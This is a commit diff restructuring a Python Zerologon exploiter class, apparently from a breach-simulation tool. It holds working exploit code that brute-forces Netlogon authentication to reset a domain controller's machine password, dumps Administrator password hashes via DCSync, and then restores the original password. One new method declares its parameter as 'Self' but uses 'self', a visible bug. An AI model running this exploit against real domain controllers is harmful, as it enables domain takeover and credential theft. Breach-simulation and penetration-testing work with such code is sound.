Restructure `_exploit_host()` and `restore_password()`

This commit is contained in:
Shreya 2021-02-12 13:32:18 +05:30
parent 2bdcdcc18b
commit 2c2a9eaaae
1 changed files with 79 additions and 71 deletions

View File

@ -54,9 +54,8 @@ class ZerologonExploiter(HostExploiter):
return return
# Start exploiting attempts. # Start exploiting attempts.
# Max attempts = 2000. Expected average number of attempts needed: 256.
LOG.debug("Attempting exploit.") LOG.debug("Attempting exploit.")
self._send_rpc_login_requests(rpc_con) _exploited = self._send_exploit_rpc_login_requests(rpc_con)
else: else:
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
@ -78,8 +77,8 @@ class ZerologonExploiter(HostExploiter):
return True return True
return self.zerologon_finger.get_host_fingerprint(self.host) return self.zerologon_finger.get_host_fingerprint(self.host)
def _send_rpc_login_requests(self, rpc_con) -> None: def _send_exploit_rpc_login_requests(self, rpc_con) -> Optional[bool]:
result_exploit_attempt = None # Max attempts = 2000. Expected average number of attempts needed: 256.
for _ in range(0, self.MAX_ATTEMPTS): for _ in range(0, self.MAX_ATTEMPTS):
try: try:
result_exploit_attempt = self.attempt_exploit(rpc_con) result_exploit_attempt = self.attempt_exploit(rpc_con)
@ -100,7 +99,7 @@ class ZerologonExploiter(HostExploiter):
self.report_login_attempt(result=False, user=self.dc_name) self.report_login_attempt(result=False, user=self.dc_name)
_exploited = False _exploited = False
LOG.info(f"Non-zero return code: {result_exploit_attempt['ErrorCode']}. Something went wrong.") LOG.info(f"Non-zero return code: {result_exploit_attempt['ErrorCode']}. Something went wrong.")
break return _exploited
def attempt_exploit(self, rpc_con: object) -> object: def attempt_exploit(self, rpc_con: object) -> object:
request = nrpc.NetrServerPasswordSet2() request = nrpc.NetrServerPasswordSet2()
@ -124,32 +123,39 @@ class ZerologonExploiter(HostExploiter):
def restore_password(self) -> Optional[bool]: def restore_password(self) -> Optional[bool]:
LOG.info("Restoring original password...") LOG.info("Restoring original password...")
LOG.debug("DCSync; getting admin password's hashes.")
admin_pwd_hashes = self.get_admin_pwd_hashes()
try: try:
# DCSync to get Administrator password's hashes.
LOG.debug("DCSync; getting Administrator password's hashes.")
admin_pwd_hashes = self.get_admin_pwd_hashes()
if not admin_pwd_hashes: if not admin_pwd_hashes:
raise Exception("Couldn't extract admin password's hashes.") raise Exception("Couldn't extract Administrator password's hashes.")
LOG.debug("Getting original DC password's nthash.") # Use Administrator password's NT hash to get original DC password's hashes.
LOG.debug("Getting original DC password's NT hash.")
original_pwd_nthash = self.get_original_pwd_nthash(admin_pwd_hashes) original_pwd_nthash = self.get_original_pwd_nthash(admin_pwd_hashes)
if not original_pwd_nthash: if not original_pwd_nthash:
raise Exception("Couldn't extract original DC password's nthash.") raise Exception("Couldn't extract original DC password's NT hash.")
# Keep authenticating until successful. # Connect to the DC's Netlogon service.
try:
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
except Exception as e:
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
return
# Start restoration attempts.
LOG.debug("Attempting password restoration.") LOG.debug("Attempting password restoration.")
for _ in range(0, self.MAX_ATTEMPTS): _restored = self._send_restoration_rpc_login_requests(rpc_con, original_pwd_nthash)
rpc_con = self.attempt_restoration(original_pwd_nthash) if not _restored:
if rpc_con:
LOG.debug("DC machine account password should be restored to its original value.")
return True
raise Exception("Failed to restore password! Max attempts exceeded?") raise Exception("Failed to restore password! Max attempts exceeded?")
return _restored
except Exception as e: except Exception as e:
LOG.error(e) LOG.error(e)
def get_admin_pwd_hashes(self) -> str: def get_admin_pwd_hashes(self) -> str:
try:
options = OptionsForSecretsdump( options = OptionsForSecretsdump(
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
target_ip=self.dc_ip, target_ip=self.dc_ip,
@ -165,6 +171,9 @@ class ZerologonExploiter(HostExploiter):
self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes) self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes)
return ':'.join(hashes) # format - "lmhash:nthash" return ':'.join(hashes) # format - "lmhash:nthash"
except Exception as e:
LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}")
def get_dumped_secrets(self, def get_dumped_secrets(self,
remote_name: str = '', remote_name: str = '',
username: str = '', username: str = '',
@ -286,14 +295,24 @@ class ZerologonExploiter(HostExploiter):
except Exception as e: except Exception as e:
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}") LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
def attempt_restoration(self, original_pwd_nthash: str) -> Optional[object]: def _send_restoration_rpc_login_requests(Self, rpc_con, original_pwd_nthash) -> Optional[bool]:
# Connect to the DC's Netlogon service. # Max attempts = 2000. Expected average number of attempts needed: 256.
for _ in range(0, self.MAX_ATTEMPTS):
try: try:
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) result_restoration_attempt = self.attempt_restoration(rpc_con, original_pwd_nthash)
except Exception as e: except nrpc.DCERPCSessionError as e:
LOG.info(f"Exception occurred while connecting to DC: {str(e)}") # Failure should be due to a STATUS_ACCESS_DENIED error.
return # Otherwise, the attack is probably not working.
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
except BaseException as e:
LOG.info(f"Unexpected error: {e}")
if result_restoration_attempt:
LOG.debug("DC machine account password should be restored to its original value.")
return True
def attempt_restoration(self, rpc_con: object, original_pwd_nthash: str) -> Optional[object]:
plaintext = b'\x00'*8 plaintext = b'\x00'*8
ciphertext = b'\x00'*8 ciphertext = b'\x00'*8
flags = 0x212fffff flags = 0x212fffff
@ -303,7 +322,6 @@ class ZerologonExploiter(HostExploiter):
self.dc_name + '\x00', plaintext) self.dc_name + '\x00', plaintext)
server_challenge = server_challenge_response['ServerChallenge'] server_challenge = server_challenge_response['ServerChallenge']
try:
server_auth = nrpc.hNetrServerAuthenticate3( server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, self.dc_handle + '\x00', self.dc_name + '$\x00', rpc_con, self.dc_handle + '\x00', self.dc_name + '$\x00',
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
@ -333,16 +351,6 @@ class ZerologonExploiter(HostExploiter):
return rpc_con return rpc_con
except nrpc.DCERPCSessionError as e:
# Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working.
if e.get_error_code() == self.ERROR_CODE_ACCESS_DENIED:
return None
else:
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
except BaseException as e:
LOG.info(f"Unexpected error: {e}")
class NetrServerPasswordSet(nrpc.NDRCALL): class NetrServerPasswordSet(nrpc.NDRCALL):
opnum = 6 opnum = 6